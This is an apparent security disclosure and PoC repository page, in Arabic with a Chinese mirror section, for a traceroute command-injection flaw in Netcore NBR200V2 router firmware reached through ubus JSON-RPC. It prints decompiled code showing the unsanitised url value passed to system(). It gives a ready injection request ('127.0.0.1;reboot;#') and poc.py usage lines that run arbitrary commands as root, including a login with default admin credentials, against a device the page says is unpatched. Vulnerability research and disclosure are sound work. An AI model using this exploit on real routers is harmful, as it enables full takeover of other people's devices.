
PoC لـ CVE-2026-94095، وهو حقن أوامر traceroute في برنامج Netcore NBR200V2 الثابت عبر ubus JSON-RPC، مما يتيح تنفيذ أوامر عن بُعد بصلاحيات الجذر للاختبار المصرّح به.
| الحقل | القيمة |
|---|---|
| المورّد | Netcore |
| الطراز | NBR200V2 |
| إصدار البرنامج الثابت | V1.3.241127.071246 |
| المكوّن المتأثر | /usr/bin/network_tools |
| نوع الثغرة | حقن أوامر نظام التشغيل (CWE-74 / CWE-77) |
| CVSS 3.1 | 9.9 (حرجة) |
| ناقل الهجوم | عن بُعد (ubus JSON-RPC) |
| المتطلب المسبق | نقطة نهاية ubus قابلة للوصول + جلسة منخفضة الصلاحيات (sid) |
| حالة المورّد | تم التواصل مبكرًا؛ لا استجابة؛ لا تصحيح وقت الإفصاح |
يحتوي البرنامج الثابت Netcore NBR200V2 الإصدار V1.3.241127.071246 على ثغرة حقن أوامر عن بُعد في ميزة تشخيص traceroute. يقبل معالج traceroute قيمة url يتحكم بها المهاجم من ubus JSON-RPC، ويدمجها في أمر shell، ثم ينفّذ الأمر الناتج. يمكن للمهاجم عن بُعد استغلال هذا الخلل لتنفيذ أوامر shell عشوائية، أو إعادة تشغيل الجهاز، أو تحقيق اختراق كامل للنظام.
يُقبل الطلب عن بُعد كـ ubus JSON-RPC:
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}
يوجّه تعيين طريقة ubus الطلب إلى sub_401BD8:
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8
يحلّل sub_401BD8 بيانات JSON-RPC ويمرّرها إلى tools_traceroute():
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18; // action
v25[1] = v7; // url
v25[2] = _bswapsi2(*v8); // max_hop
...
result = tools_traceroute((int)v25);
يبني tools_traceroute() أمر shell باستخدام قيمة url غير الموثوقة:
snprintf(
v4, 0x100u,
"(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);
الثغرة متطابقة بنيويًا مع مشكلة ping، لكنها تصل إلى نقطة تنفيذ ومسار تنفيذ مختلفين. ولأنه يُستخدم system()، فإن فواصل الأوامر مثل ; و && وتعليقات shell تُحترم. وبذلك تتحول ميزة التشخيص إلى أداة تنفيذ أوامر عامة الأغراض.
POST /ubus
Content-Type: application/json
{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}
التأثير المتوقع: ينفّذ الراوتر reboot أثناء معالجة مهمة traceroute. يمكن استبدال reboot بأوامر shell عشوائية.
جميع الثغرات الثلاث تصل إلى نفس /usr/bin/network_tools؛ وتتشارك دوال التشخيص في هذا الملف التنفيذي نفس النمط غير الآمن، لذا فإن إصلاح نقطة دخول واحدة لا يكفي.
لا يوجد تصحيح من المورّد وقت الإفصاح. تدابير التخفيف المؤقتة:
الإفصاح من قبل الباحث المستقل الذي نشر التحليل التقني ونسّق (دون نجاح) مع المورّد.
本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
/usr/bin/network_tools(traceroute 诊断功能)POST /ubus)核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。
CVE-2026-94095.md —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)
POST /ubus 与一个有效 sid# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"
# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"
⚠️ 命令会被拼接为
127.0.0.1;<命令>;#注入url参数;reboot会直接重启设备,请仅在授权/可销毁环境测试。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。
LICENSE)。